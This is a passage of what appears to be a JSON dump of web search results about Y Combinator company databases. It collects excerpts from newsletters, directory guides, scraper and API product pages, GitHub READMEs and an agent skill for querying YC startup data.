fundraises.** Every investor in 2026 will ask the same question on call one: \"Who else is doing this, and why are you better?\" The naive answer (\"nobody really, we're unique\") loses the deal. The good answer names 8-12 competitors, segments them into 2-3 strategic buckets, and explains how the founder's wedge cuts through. YC's directory is where founders build that map. A typical founder pulls every YC company tagged with their 2-3 closest tags, filters to batches W22-onwards (when their thesis became fundable), and ends up with a list of 30-60 companies to position against.\n\n**BD and partnerships leads.** A partnerships lead at a Series B B2B-SaaS company spends ~30% of their time finding integration targets. The standard process \u2014 read TechCrunch, ask sales for asks, check Crunchbase \u2014 produces stale lists. Pulling current-batch YC companies tagged with adjacent categories (e.g., a payroll API company wants to find every HRtech, fintech-infra, and embedded-finance YC company in batches S24-S26) routinely surfaces 20-40 integration candidates the BD lead's internal list missed.\n\n**M &A; analysts and corp-dev teams.** Vertical roll-up theses depend on cleanly enumerating the companies in the vertical. For \"vertical SaaS in dental practice management\" or \"AI-powered legal-tech for solo practitioners" }, { "url": "https://thevccorner.com/p/yc-w26-batch-complete-company-database", "title": "YC W26 Batch: Complete Database of 196 Companies (2026)", "content_head": "# Y Combinator W26 Batch: The Complete Company Database\n\n### Every company. Every founder. Every traction signal. Demo Day is March 24.\n\nYC has funded 100+ billion-dollar companies.\n\nSome of the most notable:\n\n- Stripe \u2014 $159B\n- Airbnb \u2014 ~$75B (public)\n- Coinbase \u2014 ~$50B+ (public)\n- DoorDash \u2014 ~$20B (public)\n- Instacart, Dropbox, Kalshi, Reddit\u2026\n**4.5% of YC startups become unicorns**.\n\nThat\u2019s nearly double the rate of other venture-backed seed companies. 45% go on to raise a Series A. One in four YC unicorns becomes a decacorn.\n\nThe combined valuation of YC alumni? Over **$600 billion.**\n\nMultiple industry observers have suggested this W26 batch could produce **20 unicorns from 196 companies**. A ~10% hit rate. Well above YC\u2019s historical average.\n\nI spent weeks building what I believe is the most comprehensive public database of this batch. **196 companies. 14 data columns each.** Cross-referenced from the official YC directory, Extruct.ai, Hacker News, Best of Show HN, LinkedIn, X, Crunchbase, and individual company sites.\n\nHere are 6 things that jumped out from the data.\n\n### 1. One company is doing $27M ARR. At the seed stage.\n\n**Pocket** shipped 30,000+ hardware units in five months with 50% month-over-month growth. YC confirmed the numbers on X. Series B traction from a batch company.\n\n### 2. The best-funded health startup raised $5.4M from Accel\n\n**Beacon Health** brought in Accel and a Sequoia scout. Co-founded by a Stanford/Harvard physician and an ex-Amazon Alexa engineer. The largest healthcare raise in the batch by a wide margin.\n\n### 3. Two 18-year-olds raised $1.4M before even joining YC\n\n**Synthetic Sciences** (building \u201cClaude Code for Science\u201d) secured $1.4M pre-YC and another $500K from the standard deal. $1.9M total. Among the youngest founders in YC history with that level of pre-program funding.\n\n### 4. Cardinal already has 40+ YC companies as paying customers\n\nTheir founders are 2x YC alumni (S23 and W26). Harvard and MIT CS grads. Selling to your own batch is one of the strongest early traction signals that exists.\n\n### 5. Garry Tan is personally coaching one company\n\n**Captain** (runcaptain.com) is Garry Tan\u2019s personal coaching pick. Direct CEO-level involvement at the partner level. That rarely happens.\n\n### 6. Hardware is everywhere\n\nMoon hotels. Tankless dive gear. Cattle-mustering drones. Strength wearables by ex-Tesla Cybertruck engineers. Space solar arrays that grow to football-field size in orbit. About 14% of the batch builds physical products. YC is actively diversifying beyond pure software.\n\n## What You Get as a [Premium Subscriber](https://www.thevccorner.com/subscribe?coupon=8b9d2609&utm_content=190430896)\n\nThis is the database I wish existed when I started tracking YC batches as an angel investor.\n\n**The downloadable Excel** covers all 196 W26 companies with 14 data columns:\n\n> Company, Website, HQ, YC Sector, YC Sub-category, Description, Founders, Founder Backgrounds, Funding Raised, Traction & KPIs, Stage" }, { "url": "https://vcbacked.co/blog/yc-companies-database", "title": "Complete Y Combinator Companies Database (2026)", "content_head": "# Complete Y Combinator Companies Database (2026)\n\nSearch 5,000+ YC startups by batch, status, industry, and location \u2014 with founder contact info.\n\n\u202215 min read\u2022YC Database\n\nY Combinator is the most influential startup accelerator in the world. Since 2005, YC has funded over 5,000 companies with a combined valuation exceeding $600 billion. For investors scouting the next big deal, sales teams targeting high-growth companies, and recruiters looking for top startup talent, having access to a comprehensive YC companies database is not optional \u2014 it's essential.\n\nThis guide covers everything you need to know about Y Combinator's portfolio: what makes YC companies uniquely valuable, how to search and filter the full database, and how to access founder contact information for direct outreach. Whether you're looking for [current batch companies](/yc/batch/w25) or researching [active YC startups](/yc/status/active), we'll show you the fastest way to find what you need.\n\nVCBacked maintains the most complete and actionable Y Combinator database available, with verified founder emails, advanced filtering, and data updated regularly. You can [explore the full YC database here](/yc).\n\n## Contents\n\n## What Is Y Combinator and Why Does It Matter?\n\nY Combinator (YC) is a startup accelerator founded in 2005 by Paul Graham, Jessica Livingston, Trevor Blackwell, and Robert Tappan Morris. Based in San Francisco, YC invests $500,000 in early-stage startups twice a year through its Winter and Summer batch programs. In exchange for a small equity stake (typically 7%), YC provides funding, mentorship, and access to one of the most powerful alumni networks in tech.\n\nWhat makes YC uniquely important is its track record. YC alumni include some of the most valuable private and public technology companies ever built: Stripe (valued at $95 billion), Airbnb (NYSE: ABNB, $75B+ market cap), DoorDash (NYSE: DASH), Coinbase (NASDAQ: COIN), Instacart, Dropbox, Reddit, and Twitch. The combined valuation of all YC companies exceeds $600 billion \u2014 making YC's portfolio more valuable than most venture capital firms combined.\n\nFor professionals who work with startups, YC companies represent the highest-signal pipeline in the industry. A YC acceptance is a strong quality filter: acceptance rates hover around 1-2%, meaning every company in the database has been vetted by one of the most selective accelerators in the world. This makes YC companies disproportionately attractive to investors looking for deal flow, sales teams targeting companies with traction and funding, and recruiters searching for fast-growing teams.\n\n## Y Combinator by the Numbers\n\nUnderstanding the scale of YC's portfolio helps illustrate why this database matters:\n\n5,000+\n\nCompanies funded since 2005\n\n$600B+\n\nCombined portfolio valuation\n\n80+\n\nUnicorns ($1B+ valuation)\n\n~1-2%\n\nAcceptance rate per batch\n\n### Notable YC Alumni\n\nYC's alumni list reads like a who's-who of the technology industry:\n\n- **Stripe** (W09) \u2014 Paym" }, { "url": "https://exploreai.tools/tools/yc-company-explorer", "title": "ExploreYC: Data Layer for Y Combinator's Startup Ecosystem | ExploreAI.tools", "content_head": "[![ExploreAI.tools](/ai_logo2.png)](/)\n\n![ExploreYC logo](/_next/image?url=https%3A%2F%2Fapi.exploreai.tools%2Fuploads%2Fproduct-hunt%2Fyc-company-explorer-ph.png&w=3840&q=75)\n\nResearchfreemium\n\n# ExploreYC\n\nOpen-source API for Y Combinator & a16z company data\n\n0.0 / 5 rating0 reviewsFrom $29/mo333 community signals\n\nEXPLOREAI / VERDICT\n\n8/ 10\n\nA must-have for investors and researchers focused on Y Combinator; less useful for general startup scouting.\n\n[Visit website ](https://www.exploreyc.com/api-docs?ref=producthunt)Reviews\n\nDOSSIER / ABOUT\n\n## What ExploreYC is\n\nExploreYC is a dedicated data platform for the Y Combinator startup ecosystem. It indexes every YC-backed company\u2014present and past\u2014and lets you query them by virtually any attribute. Core data includes: - Company name, description, and website - Founding year and batch (e.g., W21, S15) - Founder names, LinkedIn URLs, and background - Industry tags, country, and region - Funding history and stage Search and filter capabilities: - Boolean search across all fields - Multi-select filters for batch, industry, location, and more - Save and export filtered lists as CSV - Create custom segments for tracking changes over time Use cases in practice: - Investors: Source deals by matching investment thesis filters (AI, health, climate) across batches. - Founders: Find potential co-founders or advisors based on past YC experience. - Market researchers: Analyze industry trends by batch and geography. - Recruiters: Identify talent from specific YC companies with relevant backgrounds. Data freshness: The dataset updates regularly to reflect new batches and company changes. You can rely on consistent, structured data without worrying about broken links or outdated pages. Who it serves best: - Angel investors and VC firms - Startup founders preparing for YC applications - Corporate innovation teams - Journalists and analysts covering startup ecosystems ExploreYC replaces scattered web searches with a single, queryable database. It does not provide proprietary valuations or financial projections\u2014only the public information YC has already shared, organized for deep analysis.\n\nASSESSMENT / TRADEOFFS\n\n## What stands out\n\nWHAT WE LIKE\n\n- Exhaustive coverage of YC's entire portfolio\n- Regularly updated with new batches\n- Simple, intuitive filtering interface\n- Founder LinkedIn data helps networking and due diligence\n- CSV export makes it easy to integrate with other tools\n- Free tier available for basic searches\n- Saves hours of manual web scraping\n\nWHERE IT FALLS SHORT\n\n- Limited to Y Combinator companies only\n- No API for programmatic access in basic plans\n- Company descriptions can be incomplete if YC data is sparse\n- No built-in CRM or list enrichment capabilities\n- Pricing for advanced features may be steep for solo users\n\nANALYZE / INTERACTIVE\n\n## Explore the details\n\nSIGNALS / HIGHLIGHTS\n\n## Key points\n\n1. 01Complete YC portfolio: over 5,800 companies\n2. 02Filter by batch, industry, country, and more\n" }, { "url": "https://parse.bot/marketplace/fb192a9b-aff5-4232-9bb2-5dbb3523e401/ycombinator-com-api", "title": "Y Combinator API \u2013 Companies, Founders & Jobs \u00b7 Parse", "content_head": "[Discover](/marketplace)/Y Combinator API\n\nlive\n\n# ![](https://www.google.com/s2/favicons?domain=ycombinator.com&sz=128)Y Combinator API[ycombinator.com \u2197](https://ycombinator.com)\n\nAccess the YC company directory, founder profiles, partner bios, and job listings via 7 structured endpoints. Filter by batch, industry, hiring status, and role.\n\nThis API takes change requests \u2014 .\n\nEndpoint health\n\nverified 5d ago\n\nsearch_founders\n\nsearch_companies\n\nget_person_detail\n\nget_company\n\nget_partners\n\n6/6 passing latest checkself-healing\n\nEndpoints\n\n7\n\nUpdated\n\n1mo ago\n\n## What is the Y Combinator API?\n\nThe Y Combinator API exposes 7 endpoints covering the full YC ecosystem: the company directory, individual company profiles with founder details, a searchable founder index, partner profiles, job listings from workatastartup.com, and the YC content library. The `search_companies` endpoint alone returns 11 fields per hit\u2014including batch, industry, team size, and hiring status\u2014and supports faceted filtering across thousands of YC-funded companies.\n\nThis call costs1 credit / call\u2014 charged only on success\n\nTry it\n\nPage number (0-indexed).\n\nFilter by YC batch name (e.g. 'Winter 2024', 'Summer 2023').\n\nNumber of results per page.\n\nSearch keyword to match against company name, description, and tags.\n\nFilter by industry (e.g. 'Fintech', 'B2B', 'Healthcare').\n\nFilter by hiring status. Accepts 'true' or 'false'.\n\nFilter for YC top companies. Accepts 'true' or 'false'.\n\n\u2192 api.parse.bot/scraper/303993f2-6efa-4ab4-9310-f02643b002a4/\n\nReady to send\n\nFill in the parameters and hit sign in to send to see live response data here.\n\nCall it over HTTPgrab a free API key at signup\n\n```\ncurl -X GET 'https://api.parse.bot/scraper/303993f2-6efa-4ab4-9310-f02643b002a4/search_companies?page=0&batch=Winter+2024&limit=5&query=AI&industry=B2B&is_hiring=true&top_company=true' \\\n -H 'X-API-Key: $PARSE_API_KEY'\n```\n\nPython SDK \u00b7 recommended\n\n## Typed, relational, agent-ready\n\nA generated client with real types, enums, and the links between objects \u2014 the structure a flat JSON response can't carry. Autocompletes in your editor and reads cleanly to coding agents.\n\n- Fully typed \u00b7 autocompletes\n- Objects link to objects\n- Typed errors & pagination\n\nTyped Python client. Set up the SDK in your uv project, then pull this API\u2019s typed client:\n\n```\nuv add parse-sdk\nuv run parse init\nuv run parse add --marketplace ycombinator-com-api\n```\n\n`uv run parse add --marketplace` pulls a pinned snapshot of this canonical API \u2014 it won\u2019t change underneath you. To customize it, subscribe and swap to your own copy.\n\n```\nfrom parse_apis.y_combinator_api import YCombinator, JobRole, ResourceNotFound\n\nyc = YCombinator()\n\n# Search for AI companies in the B2B space\nfor company in yc.companies.search(query=\"AI\", industry=\"B2B\", limit=3):\n print(company.name, company.slug, company.batch, company.team_size)\n\n# Get full company details by slug, including founders\nairbnb = yc.companies.get(slug=\"airbnb\")\nprin" }, { "url": "https://apify.com/fetchcraft/yc-companies-scraper", "title": "YC Companies Scraper - Y Combinator Portfolio Directory \u00b7 Apify", "content_head": "![YC Companies Scraper - Y Combinator Portfolio Directory avatar](https://apify.com/img/store/actor_picture.svg)\nYC Companies Scraper - Y Combinator Portfolio Directory\n\n![YC Companies Scraper - Y Combinator Portfolio Directory](https://apify.com/img/store/actor_picture.svg)\n\n# Y Combinator Companies Directory Scraper\n\n![YC Companies Scraper - Y Combinator Portfolio Directory](https://images.apifyusercontent.com/MBrYPkxp2nzi2-4oEdjb7F6_reKglc175i3lFqfedck/w:1800/cb:1/aHR0cHM6Ly9haS1zYWxlcy1wZXJzb25hbGl6ZXIudmVyY2VsLmFwcC9vZy95Yy1jb21wYW5pZXMtc2NyYXBlci5wbmc.webp)\n\nPulls Y Combinator portfolio companies filtered by batch, industry, region, or status. Returns structured data per company:\n\n- Name, slug, one-line description, long description\n- Batch (e.g. `W26`, `S25`), founded year\n- Status (`Active`, `Acquired`, `Inactive`, `Public`)\n- Team size, location, regions, industries, tags\n- Website, YC profile URL\n- Founders with names and roles where available\n\n## Why use this\n\nEvery B2B sales team targeting funded startups builds a YC list eventually. This actor builds it on demand, filtered to the slice you care about (e.g. `W26 + B2B + United States`). Pairs with the AI Sales Personalizer for personalised outreach.\n\n## Input\n\n```\n { \"batches\" : [ \"W26\" , \"S25\" ] , \"industries\" : [ \"B2B\" , \"Fintech\" ] , \"regions\" : [ \"United States of America\" ] , \"statuses\" : [ \"Active\" ] , \"max_companies\" : 200 , \"preview\" : false }\n```\n\nAll filters are optional and combine with AND logic (a company must match every filter you set). Leave a filter empty to disable it.\n\n## Pricing\n\n- **Pay per company.** US$0.02 per company returned.\n- Preview mode returns the first 10 companies free.\n- Filtering happens server-side, so you only pay for companies that match.\n\n## Output\n\nOne dataset record per company:\n\n```\n { \"name\" : \"Acme\" , \"slug\" : \"acme\" , \"yc_url\" : \"https://www.ycombinator.com/companies/acme\" , \"batch\" : \"W26\" , \"status\" : \"Active\" , \"team_size\" : 12 , \"founded\" : 2026 , \"location\" : \"San Francisco, CA\" , \"regions\" : [ \"United States of America\" ] , \"industries\" : [ \"B2B\" , \"Productivity\" ] , \"tags\" : [ \"AI\" , \"API\" ] , \"description_short\" : \"AI-native procurement for SMBs.\" , \"description_long\" : \"Acme automates...\" , \"website\" : \"https://acme.com\" , \"founders\" : [ { \"name\" : \"Jane Smith\" , \"role\" : \"CEO\" } , { \"name\" : \"John Doe\" , \"role\" : \"CTO\" } ] , \"scraped_at\" : \"2026-05-30T22:25:00Z\" }\n```\n\n## Pairs well with\n\n- **[funding-round-tracker](/fetchcraft/funding-round-tracker)**: Layer in recent funding for the YC alumni. $0.01 to $0.03 per company.\n- **[hiring-signal-detector](/fetchcraft/hiring-signal-detector)**: Active YC companies are hiring fast: trigger-rich. $0.01 to $0.03.\n- **[ai-sales-personalizer](/fetchcraft/ai-sales-personalizer)**: Personalise to specific YC batch positioning. $0.10 to $0.20 per lead.\n- **[email-finder-verifier](/fetchcraft/email-finder-verifier)**: Resolve founder emails. $0.02 per contact.\n\n## Integrations\n\nThis actor works" }, { "url": "https://apify.com/scrapers_lat/ycombinator-companies-scraper", "title": "Y Combinator Companies Scraper (Startup Leads) \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper (Startup Leads) avatar](https://images.apifyusercontent.com/BQx4w_DegxNTQeTylBY2dhLGBKt5zQ7eHwdMxkiiMJY/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbTVLZDRMUndSRXpFeWlaYzYtYWN0b3ItYXFyRkNLeU5VUENpVDF6RnQtUXRlZzZkWHNkNi15Y29tYmluYXRvci5wbmc.webp)\nY Combinator Companies Scraper (Startup Leads)\n\n![Y Combinator Companies Scraper (Startup Leads)](https://images.apifyusercontent.com/BQx4w_DegxNTQeTylBY2dhLGBKt5zQ7eHwdMxkiiMJY/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbTVLZDRMUndSRXpFeWlaYzYtYWN0b3ItYXFyRkNLeU5VUENpVDF6RnQtUXRlZzZkWHNkNi15Y29tYmluYXRvci5wbmc.webp)\n\n> Turn the Y Combinator startup directory into a clean, structured lead list. Get each company's website, one-liner, batch, status, industry, team size, public profile link, the founder roster (name, title, bio, LinkedIn and X/Twitter) and the company's LinkedIn, X/Twitter, GitHub, Facebook and Crunchbase, year founded and YC group partner. Filter by keyword, batch or industry and export ready for sales, sourcing and market research.\n\n![Apify](https://img.shields.io/badge/Platform-Apify-1CE1CE?logo=apify&logoColor=white) ![Startup leads](https://img.shields.io/badge/Data-Startup%20leads-blue) ![Output](https://img.shields.io/badge/Output-JSON%20%7C%20CSV%20%7C%20Excel-orange)\n\n| **Founders + LinkedIn** name, title, bio, socials | **Website, batch, industry** status, team size, socials | **JSON / CSV / Excel** output formats |\n|---|---|---|\n\n## Who is it for\n\nWho is it for\n| Use case | Who benefits |\n|---|---|\n| Sales and lead generation | Teams selling to funded startups who need websites and firmographics |\n| Sourcing and recruiting | Investors and recruiters mapping companies by batch and industry |\n| Market research | Analysts building sector maps of the YC portfolio |\n| Data enrichment | Builders adding startup profiles to their own products |\n\n## How to use it\n\n1. Enter a **search keyword** (for example `AI`, `fintech`, `devtools`), or leave it empty to list every company.\n2. Optionally add a **batch** filter (`W21` or `Winter 2021`) and an **industry** filter (`B2B`, `Fintech`, `Healthcare`).\n3. Set **Max Items** and run. Export as JSON, CSV or Excel, or pull it through the Apify API.\n\n## Frequently Asked Questions\n\n**Can I get only one batch?** Yes. Use the batch filter with a short code like `W21` or a full label like `Winter 2021`. Both formats work.\n\n**How do I filter by sector?** Add an industry such as `B2B`, `Fintech`, `Healthcare`, `Consumer` or `Industrials`. Combine it with a keyword or batch to narrow further.\n\n**Does every company have a website?** Most active companies do, and it is captured in the **website** field. A few very early or inactive companies may not list one, in which case the field is null.\n\n**Do I get the founders and their LinkedIn?** Yes. Each record includes the founder roster with name, title, bio and their " }, { "url": "https://apify.com/obsidian937/yc-companies-scraper", "title": "Y Combinator Companies Scraper: Startups by Batch & Industry \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Companies Scraper\n\n![Y Combinator Companies Scraper](https://apify.com/img/store/actor_picture.svg)\n\nExtract the full [Y Combinator](https://www.ycombinator.com/companies) company directory \u2014 ~5,900 startups with batch, industry, team size, status, region, hiring status and descriptions. No login, no proxy, no API key required.\n\n## What you get\n\nWhat you get\n| Field | Description |\n|---|---|\n| `name` | Company name |\n| `website` | Company website URL |\n| `oneLiner` | One-line pitch |\n| `longDescription` | Full company description |\n| `batch` | YC batch (e.g. \"Summer 2024\", \"Winter 2009\") |\n| `status` | Active, Acquired, Public, or Inactive |\n| `stage` | Company stage |\n| `teamSize` | Number of employees |\n| `industry` | Top-level industry (B2B, Consumer, Fintech, Healthcare\u2026) |\n| `subindustry` | More specific sub-industry |\n| `industries` | All industry tags |\n| `regions` | Regions (e.g. \"United States of America\", \"Europe\", \"Remote\") |\n| `allLocations` | Office location string |\n| `isHiring` | Whether the company has open roles |\n| `topCompany` | Whether YC flags it as a top company |\n| `nonprofit` | Whether it is a nonprofit |\n| `tags` | Free-form tags |\n| `launchedAt` | When the company was added to the YC directory |\n| `ycUrl` | Link to the YC company page |\n| `logoUrl` | Company logo image URL |\n\n## Use cases\n\n- **VC / deal sourcing** \u2014 build a pipeline of YC companies filtered by batch, stage and industry\n- **Competitive intelligence** \u2014 map every company in your category and track team-size growth\n- **Recruiting** \u2014 find YC startups that are actively hiring (`isHiring`)\n- **Sales prospecting** \u2014 export thousands of funded startups with websites for outbound\n- **Market research** \u2014 analyze YC batch composition by industry, region and status over time\n\n## Filters\n\n```\n { \"batch\" : [ \"Summer 2024\" , \"Winter 2024\" ] , \"industry\" : [ \"B2B\" , \"Fintech\" ] , \"status\" : [ \"Active\" ] , \"regions\" : [ \"United States of America\" ] , \"minTeamSize\" : 10 , \"isHiring\" : true , \"maxItems\" : 500 }\n```\n\nLeave everything empty and set `maxItems: 0` to extract the entire directory.\n\n## Monitoring mode (delta)\n\nTurn the scraper into a recurring **new-company monitor**. Set `deltaMode: true`, schedule it, and add a webhook \u2014 each run returns **only the companies added since your last run**.\n\n```\n```\n\nThe first run sets a baseline; every run after returns only new additions (often zero), so you only pay for real signal. State is stored per account.\n\n## Example output\n\n```\n { \"name\" : \"Airbnb\" , \"website\" : \"http://airbnb.com\" , \"oneLiner\" : \"Book accommodations around the world.\" , \"batch\" : \"Winter 2009\" , \"status\" : \"Public\" , \"teamSize\" : 6132 , \"industry\" : \"Consumer\" , \"regions\" : [ \"United States of America\" ] , \"allLocations\" : \"San Francisco, CA, USA\" , \"isHiring\" : false , \"ycUrl\" : \"https://www.ycombinator.com/companies/airbnb\" , \"launchedAt\" : \"2009-01-1" }, { "url": "https://github.com/corralm/yc-scraper", "title": "GitHub - corralm/yc-scraper: \u270c\ufe0fY Combinator directory scraper", "content_head": "# Y Combinator Directory Scraper\n\n[![License: MIT](https://camo.githubusercontent.com/fdf2982b9f5d7489dcf44570e714e3a15fce6253e0cc6b5aa61a075aac2ff71b/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f4c6963656e73652d4d49542d79656c6c6f772e737667)](https://opensource.org/licenses/MIT) [![Python 3.11+](https://camo.githubusercontent.com/36cf3d0f7992a33a063d3833577d62204f8934d82b69874c086390608db4947c/68747470733a2f2f696d672e736869656c64732e696f2f62616467652f707974686f6e2d332e31312b2d626c75652e737667)](https://www.python.org/downloads/)\n\nA Python scraper for extracting company data from the [Y Combinator directory](https://www.ycombinator.com/companies/), featuring an interactive web-based explorer.\n\n## Features\n\n- \ud83d\ude80 **User-Friendly Selenium Scraping**: No API keys required - just Firefox and geckodriver\n- \ud83d\udcbe **30-Day URL Caching**: Avoid unnecessary re-scraping\n- \ud83d\udd04 **Checkpoint/Resume**: Recover from interrupted scrapes\n- \ud83c\udfaf **Flexible Batch Filtering**: Select specific batches or recent N batches\n- \ud83c\udf10 **Interactive Web Explorer**: Browse and filter companies with a sleek UI\n- \ud83d\udcca **Rich Dataset**: Includes founder profiles with bios and social links\n\n## About Y Combinator\n\nY Combinator is a startup accelerator that has invested in over 4,000 companies with a combined valuation exceeding $600B. Notable alumni include Airbnb, Stripe, DoorDash, Coinbase, and Reddit.\n\n## Requirements\n\n- **Python**: 3.11 or higher\n- **Browser**: [Firefox](https://www.mozilla.org/en-US/firefox/new/)\n- **WebDriver**: [geckodriver](https://github.com/mozilla/geckodriver/releases)\n\n### Installing geckodriver\n\n**macOS**:\n\n```\n brew install geckodriver\n```\n\n**Linux**:\n\n```\n wget https://github.com/mozilla/geckodriver/releases/download/v0.35.0/geckodriver-v0.35.0-linux64.tar.gz tar -xvzf geckodriver-v0.35.0-linux64.tar.gz sudo mv geckodriver /usr/local/bin/\n```\n\n**Windows**: Download from [GitHub releases](https://github.com/mozilla/geckodriver/releases) and add to PATH.\n\n## Installation\n\n1. **Clone the repository**\n\n```\n git clone https://github.com/corralm/yc-scraper.git cd yc-scraper\n```\n2. **Create a virtual environment** (recommended)\n\n```\n python -m venv .venv source .venv/bin/activate # On Windows: .venv\\Scripts\\activate\n```\n3. **Install dependencies**\n\n```\n pip install -r requirements.txt\n```\n\n## Usage\n\n### Quick Start\n\n```\n # Step 1: Extract company URLs (takes 10-15 minutes) python yc_links_extractor.py # Step 2: Scrape company data cd scrapy-project scrapy runspider ycombinator/spiders/yscraper.py -o output.jl # Step 3: Analyze data with Pandas python -c \" import pandas as pd; df = pd.read_json('output.jl', lines=True); print(df.head()) \"\n```\n\n### Step 1: Extract Company URLs\n\n```\n python yc_links_extractor.py\n```\n\nThis script:\n\n- Opens the YC directory in headless Firefox\n- Iterates through all batch filters (Summer 2007 - present)\n- Collects unique company URLs\n- Saves to `scrapy-project/ycombinator/start_urls.txt`\n\n### Step 2: Scrape Company Data\n\n```\n cd scr" }, { "url": "https://github.com/yc-oss/api", "title": "GitHub - yc-oss/api: \ud83d\udcce Public API for companies funded by Y Combinator", "content_head": "# Y Combinator companies API\n\nThis repository contains an unofficial API for Y Combinator companies fetched from the Y Combinator website's Algolia search index. It only includes **publicly launched companies** with pages on the Y Combinator website. It does not scrape the Y Combinator website, instead it uses the Algolia search index to fetch the companies in a GitHub Actions workflow that runs every day. When company records change, the workflow also publishes a daily change summary in JSON and Markdown at `changes/latest.json` and `changes/latest.md`, so you can review what YC changed without digging through the full repository diff.\n\n## \u2139\ufe0f Metadata\n\nAPI endpoint: [https://yc-oss.github.io/api/meta.json](https://yc-oss.github.io/api/meta.json)\n\n- Last updated: August 15, 2026 at 12:41 AM\n- Companies: 6175\n- Batches: 50\n- Industries: 59\n- Tags: 336\n\n## \ud83d\udcbb APIs\n\n### \ud83c\udfe2 Companies\n\n| List of companies | API endpoint |\n|---|---|\n| All launched companies | [https://yc-oss.github.io/api/companies/all.json](https://yc-oss.github.io/api/companies/all.json) |\n| Top companies | [https://yc-oss.github.io/api/companies/top.json](https://yc-oss.github.io/api/companies/top.json) |\n| Black-founded companies | [https://yc-oss.github.io/api/companies/black-founded.json](https://yc-oss.github.io/api/companies/black-founded.json) |\n| Hispanic/Latino-founded companies | [https://yc-oss.github.io/api/companies/hispanic-latino-founded.json](https://yc-oss.github.io/api/companies/hispanic-latino-founded.json) |\n| Women-founded companies | [https://yc-oss.github.io/api/companies/women-founded.json](https://yc-oss.github.io/api/companies/women-founded.json) |\n| Not-for-profit companies | [https://yc-oss.github.io/api/companies/nonprofit.json](https://yc-oss.github.io/api/companies/nonprofit.json) |\n| Companies currently hiring | [https://yc-oss.github.io/api/companies/hiring.json](https://yc-oss.github.io/api/companies/hiring.json) |\n| Companies with public application videos | [https://yc-oss.github.io/api/companies/app-video-public.json](https://yc-oss.github.io/api/companies/app-video-public.json) |\n| Companies with public demo day videos | [https://yc-oss.github.io/api/companies/demo-day-video-public.json](https://yc-oss.github.io/api/companies/demo-day-video-public.json) |\n\n### \ud83d\udd04 Company changes\n\n| Change log | API endpoint |\n|---|---|\n| Latest company changes (JSON) | [https://yc-oss.github.io/api/changes/latest.json](https://yc-oss.github.io/api/changes/latest.json) |\n| Latest company changes (Markdown) | [https://yc-oss.github.io/api/changes/latest.md](https://yc-oss.github.io/api/changes/latest.md) |\n\n### \ud83c\udf93 Batches\n\nCompanies per batch\n| Batch | Count | API endpoint |\n|---|---|---|\n| Winter 2012 | 66 | [https://yc-oss.github.io/api/batches/winter-2012.json](https://yc-oss.github.io/api/batches/winter-2012.json) |\n| Summer 2011 | 60 | [https://yc-oss.github.io/api/batches/summer-2011.json](https://yc-oss.github.io/api/batches/summer-2011.json) |\n| Winter 2011 | 4" }, { "url": "https://skills.browseract.com/skills/himself65_finance-skills_yc-reader", "title": "yc-reader - AI Agent Skill", "content_head": "# yc-reader\n\nLook up Y Combinator companies, batches, and startup ecosystem data using the yc-oss API (read-only). Use this skill whenever the user wants to research\u2026\n\nINSTALLATION\n\nnpx skills add https://github.com/himself65/finance-skills --skill yc-reader\n\nRun in your project or agent environment. Adjust flags if your CLI version differs.\n\n## SKILL.md\n\n# Y Combinator Reader (Read-Only)\n\nFetches Y Combinator company data from the [yc-oss/api](https://github.com/yc-oss/api), an unofficial open-source API that indexes all publicly launched YC companies. The data is sourced from YC's Algolia search index and updated daily via GitHub Actions.\n\n**This is a read-only data source.** It provides company profiles, batch listings, industry/tag breakdowns, hiring status, and diversity data. No write operations exist \u2014 the API serves static JSON files.\n\n**No authentication required.** The API is public and free. Just use `curl` to fetch JSON endpoints.\n\n## Step 1: Verify Prerequisites\n\nThis skill only needs `curl` (to fetch data) and `jq` (to parse/filter JSON). Both are pre-installed on most systems.\n\n```\n !`(command -v curl > /dev/null && echo \"CURL_OK\" || echo \"CURL_MISSING\") && (command -v jq > /dev/null && echo \"JQ_OK\" || echo \"JQ_MISSING\")`\n```\n\nIf `JQ_MISSING`, install it:\n\n```\n # macOS brew install jq # Linux (Debian/Ubuntu) sudo apt-get install jq\n```\n\nIf `jq` is unavailable, you can still fetch raw JSON with `curl` and parse it inline with Python or other tools \u2014 but `jq` makes filtering much easier.\n\n## Step 2: Identify What the User Needs\n\nMatch the user's request to the appropriate endpoint. See `references/api_reference.md` for full details.\n\n| User Request | Endpoint | Notes |\n|---|---|---|\n| Overall YC stats | `meta.json` | Company count, batch list, industry/tag lists |\n| All companies | `companies/all.json` | Full dataset (~5,700 companies) \u2014 large response |\n| Top companies | `companies/top.json` | ~91 top-performing YC companies |\n| Companies hiring | `companies/hiring.json` | ~1,400 currently hiring |\n| Non-profit companies | `companies/nonprofit.json` | YC-backed non-profits |\n| Diversity data | `companies/black-founded.json`, `hispanic-latino-founded.json`, `women-founded.json` | Founder diversity |\n| Specific batch | `batches/{batch-name}.json` | e.g., `winter-2026.json`, `spring-2026.json`, `fall-2025.json` |\n| Single company profile | `batches/{batch-name}/{slug}.json` | e.g., `batches/summer-2009/stripe.json`, `batches/winter-2009/airbnb.json` |\n| By industry | `industries/{industry}.json` | e.g., `fintech.json`, `healthcare.json` |\n| By tag | `tags/{tag}.json` | e.g., `ai.json`, `developer-tools.json` |\n\n### Batch name format\n\nBatches use `{season}-{year}` format: `winter-2026`, `spring-2026`, `summer-2026`, `fall-2025`. Older batches follow the same pattern back to `summer-2005`. The short form (`w09`, `s21`) also works for the per-company endpoint.\n\n### Industry and tag name format\n\nUse lowercase with hyphens for multi-word na" }, { "url": "https://exploreyc.com", "title": "startup data from YC, a16z & more", "content_head": "$ explore-yc --init\n\n# > Explore YC, a16z & top startups\n\nAsk anything about 21,888+ startups from Y Combinator, Hacker News, Product Hunt, a16z & more \u2014 instant answers on a free, open-source API.\n\ninstant semantic search across YC, Hacker News, Product Hunt & a16z\n\n$21,888 companies\u00b710+ countries\u00b710+ industries\n\nSourced from\n![Product Hunt](/ph-logo.png)Product Hunt8,500HNHacker News6,335YY 